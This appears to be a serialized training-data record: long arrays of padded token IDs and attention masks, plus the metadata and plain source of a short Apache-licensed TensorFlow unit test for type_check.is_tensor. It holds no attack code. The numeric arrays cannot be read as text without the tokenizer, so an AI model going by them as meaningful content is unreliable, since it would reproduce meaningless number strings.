26, 3507, 29, 4752, 13, 12485, 267, 1402, 275, 27022, 2124, 12114, 339, 347, 965, 63, 525, 63, 5693, 8, 277, 12, 1056, 304, 267, 408, 16932, 1133, 2040, 9584, 624, 267, 372, 756, 339, 347, 965, 63, 1807, 63, 5693, 8, 277, 12, 1056, 12, 1559, 29, 403, 304, 267, 408, 16932, 1133, 2040, 21812, 624, 267, 372, 756, 421, 199, 533, 27022, 2124, 15928, 7674, 2821, 8, 3351, 14, 15937, 304, 272, 408, 272, 5634, 4628, 1824, 367, 27022, 2124, 15928, 7674, 1402, 272, 408, 272, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 1613, 8, 23990, 2124, 15928, 7674, 2821, 12, 291, 2843, 826, 9308, 589, 12, 1011, 958, 9, 267, 20765, 12270, 275, 664, 63, 19916, 12270, 342, 267, 5981, 63, 4577, 275, 3842, 1308, 905, 3612, 63, 354, 2255, 5981, 905, 354, 3135, 367, 5981, 315, 20765, 12270, 61, 267, 5981, 63, 4577, 14, 3176, 8, 16, 12, 13134, 283, 403, 1333, 267, 291, 14, 955, 459, 9071, 418, 275, 4513, 14, 22193, 15792, 8, 288, 3415, 29, 1308, 63, 4577, 12, 1415, 29, 797, 12, 2701, 63, 585, 29, 403, 267, 776, 339, 1021, 6288, 8, 785, 304, 267, 1402, 275, 27022, 2124, 15928, 7674, 267, 1504, 275, 2560, 452, 12217, 421, 199, 533, 27022, 2124, 15928, 7674, 4880, 8, 2113, 14, 12976, 304, 272, 408, 9516, 3217, 367, 314, 27022, 2124, 15928, 7674, 909, 14, 408, 272, 769, 63, 2918, 275, 661, 9071, 297, 283, 6453, 2124, 358, 272, 2754, 63, 955, 275, 661, 9071, 297, 283, 6453, 2124, 358, 272, 1824, 275, 27022, 2124, 15928, 7674, 2821, 339, 1021, 6288, 8, 785, 304, 221, 327, 4287, 26, 3507, 29, 4752, 13, 12485, 267, 1402, 275, 27022, 2124, 15928, 7674, 421, 199, 533, 27022, 2124, 4231, 4880, 8, 2113, 14, 12976, 304, 272, 408, 9516, 3217, 367, 314, 27022, 2124, 4231, 909, 14, 408, 272, 769, 63, 2918, 275, 661, 6453, 2124, 297, 283, 1160, 63, 2302, 358, 272, 2754, 63, 955, 275, 661, 6453, 2124, 297, 283, 1160, 63, 2302, 358, 339, 1021, 6288, 8, 785, 304, 221, 327, 4287, 26, 3507, 29, 4752, 13, 12485, 267, 1402, 275, 27022, 2124, 4231, 199, 199, 2113, 14, 2124, 14, 2683, 8, 23990, 2124, 12, 27022, 2124, 4880, 9, 199, 2113, 14, 2124, 14, 2683, 8, 23990, 2124, 12114, 12, 27022, 2124, 12114, 4880, 9, 199, 2113, 14, 2124, 14, 2683, 8, 23990, 2124, 15928, 7674, 12, 27022, 2124, 15928, 7674, 4880, 9, 199, 2113, 14, 2124, 14, 2683, 8, 23990, 2124, 4231, 12, 27022, 2124, 4231, 4880, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 199, 9323, 4628, 2034, 367, 30489, 1709, 199, 624, 199, 504, 1639, 14, 2828, 492, 4628, 199, 504, 1639, 492, 4513, 199, 199, 504, 1275, 992, 492, 334, 272, 27022, 2124, 12, 272, 27022, 2124, 12114, 12, 272, 27022, 2124, 15928, 7674, 12, 272, 27022, 2124, 4231, 199, 9, 199, 504, 4884, 14, 19916, 12270, 63, 7546, 492, 664, 63, 19916, 12270, 421, 199, 533, 27022, 2124, 4880, 8, 2113, 14, 12976, 304, 272, 408, 9516, 3217, 367, 314, 27022, 2124, 909, 14, 408, 272, 769, 63, 2918, 275, 661, 498, 297, 283, 2124, 358, 272, 2754, 63, 955, 275, 661, 2124, 363, 2261, 297, 283, 1459, 358, 339, 1021, 6288, 8, 785, 304, 221, 327, 4287, 26, 3507, 29, 4752, 13, 12485, 267, 1402, 275, 27022, 2124, 421, 199, 533, 27022, 2124, 12114, 4880, 8, 2113, 14, 12976, 304, 272, 408, 9516, 3217, 367, 314, 27022, 2124, 12114, 909, 14, 408, 272, 769, 63, 2918, 275, 661, 498, 297, 283, 2124, 297, 283, 3966, 358, 272, 2754, 63, 955, 275, 661, 2124, 363, 2261, 297, 283, 1459, 358, 339, 7794, 275, 11573, 3966, 418, 339, 1021, 6288, 8, 785, 304, 221, 327, 4287, 26, 3507, 29, 4752, 13, 12485, 267, 1402, 275, 27022, 2124, 12114, 339, 347, 965, 63, 525, 63, 5693, 8, 277, 12, 1056, 304, 267, 408, 16932, 1133, 2040, 9584, 624, 267, 372, 756, 339, 347, 965, 63, 1807, 63, 5693, 8, 277, 12, 1056, 12, 1559, 29, 403, 304, 267, 408, 16932, 1133, 2040, 21812, 624, 267, 372, 756, 421, 199, 533, 27022, 2124, 15928, 7674, 2821, 8, 3351, 14, 15937, 304, 272, 408, 272, 5634, 4628, 1824, 367, 27022, 2124, 15928, 7674, 1402, 272, 408, 272, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 1613, 8, 23990, 2124, 15928, 7674, 2821, 12, 291, 2843, 826, 9308, 589, 12, 1011, 958, 9, 267, 20765, 12270, 275, 664, 63, 19916, 12270, 342, 267, 5981, 63, 4577, 275, 3842, 1308, 905, 3612, 63, 354, 2255, 5981, 905, 354, 3135, 367, 5981, 315, 20765, 12270, 61, 267, 5981, 63, 4577, 14, 3176, 8, 16, 12, 13134, 283, 403, 1333, 267, 291, 14, 955, 459, 9071, 418, 275, 4513, 14, 22193, 15792, 8, 288, 3415, 29, 1308, 63, 4577, 12, 1415, 29, 797, 12, 2701, 63, 585, 29, 403, 267, 776, 339, 1021, 6288, 8, 785, 304, 267, 1402, 275, 27022, 2124, 15928, 7674, 267, 1504, 275, 2560, 452, 12217, 421, 199, 533, 27022, 2124, 15928, 7674, 4880, 8, 2113, 14, 12976, 304, 272, 408, 9516, 3217, 367, 314, 27022, 2124, 15928, 7674, 909, 14, 408, 272, 769, 63, 2918, 275, 661, 9071, 297, 283, 6453, 2124, 358, 272, 2754, 63, 955, 275, 661, 9071, 297, 283, 6453, 2124, 358, 272, 1824, 275, 27022, 2124, 15928, 7674, 2821, 339, 1021, 6288, 8, 785, 304, 221, 327, 4287, 26, 3507, 29, 4752, 13, 12485, 267, 1402, 275, 27022, 2124, 15928, 7674, 421, 199, 533, 27022, 2124, 4231, 4880, 8, 2113, 14, 12976, 304, 272, 408, 9516, 3217, 367, 314, 27022, 2124, 4231, 909, 14, 408, 272, 769, 63, 2918, 275, 661, 6453, 2124, 297, 283, 1160, 63, 2302, 358, 272, 2754, 63, 955, 275, 661, 6453, 2124, 297, 283, 1160, 63, 2302, 358, 339, 1021, 6288, 8, 785, 304, 221, 327, 4287, 26, 3507, 29, 4752, 13, 12485, 267, 1402, 275, 27022, 2124, 4231, 199, 199, 2113, 14, 2124, 14, 2683, 8, 23990, 2124, 12, 27022, 2124, 4880, 9, 199, 2113, 14, 2124, 14, 2683, 8, 23990, 2124, 12114, 12, 27022, 2124, 12114, 4880, 9, 199, 2113, 14, 2124, 14, 2683, 8, 23990, 2124, 15928, 7674, 12, 27022, 2124, 15928, 7674, 4880, 9, 199, 2113, 14, 2124, 14, 2683, 8, 23990, 2124, 4231, 12, 27022, 2124, 4231, 4880, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
apark263/tensorflow
tensorflow/python/autograph/utils/type_check_test.py
21
1576
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Tests for type_check.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import numpy from tensorflow.python.autograph.utils import type_check from tensorflow.python.framework import constant_op from tensorflow.python.framework import test_util from tensorflow.python.platform import test class TypeCheckTest(test.TestCase): @test_util.run_deprecated_v1 def test_checks(self): self.assertTrue(type_check.is_tensor(constant_op.constant([1, 2, 3]))) self.assertTrue( type_check.is_tensor(test_util.variables.Variable([1, 2, 3]))) self.assertTrue( type_check.is_tensor( test_util.array_ops.placeholder(test_util.dtypes.float32))) self.assertFalse(type_check.is_tensor(3)) self.assertFalse(type_check.is_tensor(numpy.eye(3))) if __name__ == '__main__': test.main()
apache-2.0
[ 3, 1898, 9708, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 2925, 367, 730, 63, 1074, 1041, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 2680, 199, 199, 504, 3228, 14, 1548, 14, 2495, 2180, 14, 1208, 492, 730, 63, 1074, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4413, 63, 411, 199, 504, 3228, 14, 1548, 14, 4857, 492, 511, 63, 1974, 199, 504, 3228, 14, 1548, 14, 3246, 492, 511, 421, 199, 533, 2434, 1799, 774, 8, 396, 14, 1746, 304, 819, 768, 396, 63, 1974, 14, 1065, 63, 6667, 63, 86, 17, 523, 347, 511, 63, 8625, 8, 277, 304, 272, 291, 14, 1815, 8, 466, 63, 1074, 14, 374, 63, 3128, 8, 4083, 63, 411, 14, 4083, 779, 17, 12, 499, 12, 650, 11845, 272, 291, 14, 1815, 8, 267, 730, 63, 1074, 14, 374, 63, 3128, 8, 396, 63, 1974, 14, 3669, 14, 2773, 779, 17, 12, 499, 12, 650, 11845, 272, 291, 14, 1815, 8, 267, 730, 63, 1074, 14, 374, 63, 3128, 8, 288, 511, 63, 1974, 14, 1144, 63, 1483, 14, 6199, 8, 396, 63, 1974, 14, 5717, 14, 1609, 708, 1724, 272, 291, 14, 3334, 8, 466, 63, 1074, 14, 374, 63, 3128, 8, 19, 430, 272, 291, 14, 3334, 8, 466, 63, 1074, 14, 374, 63, 3128, 8, 4714, 14, 15240, 8, 19, 1724, 421, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 523, 511, 14, 973, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1898, 9708, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 2925, 367, 730, 63, 1074, 1041, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 2680, 199, 199, 504, 3228, 14, 1548, 14, 2495, 2180, 14, 1208, 492, 730, 63, 1074, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4413, 63, 411, 199, 504, 3228, 14, 1548, 14, 4857, 492, 511, 63, 1974, 199, 504, 3228, 14, 1548, 14, 3246, 492, 511, 421, 199, 533, 2434, 1799, 774, 8, 396, 14, 1746, 304, 819, 768, 396, 63, 1974, 14, 1065, 63, 6667, 63, 86, 17, 523, 347, 511, 63, 8625, 8, 277, 304, 272, 291, 14, 1815, 8, 466, 63, 1074, 14, 374, 63, 3128, 8, 4083, 63, 411, 14, 4083, 779, 17, 12, 499, 12, 650, 11845, 272, 291, 14, 1815, 8, 267, 730, 63, 1074, 14, 374, 63, 3128, 8, 396, 63, 1974, 14, 3669, 14, 2773, 779, 17, 12, 499, 12, 650, 11845, 272, 291, 14, 1815, 8, 267, 730, 63, 1074, 14, 374, 63, 3128, 8, 288, 511, 63, 1974, 14, 1144, 63, 1483, 14, 6199, 8, 396, 63, 1974, 14, 5717, 14, 1609, 708, 1724, 272, 291, 14, 3334, 8, 466, 63, 1074, 14, 374, 63, 3128, 8, 19, 430, 272, 291, 14, 3334, 8, 466, 63, 1074, 14, 374, 63, 3128, 8, 4714, 14, 15240, 8, 19, 1724, 421, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 523, 511, 14, 973, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 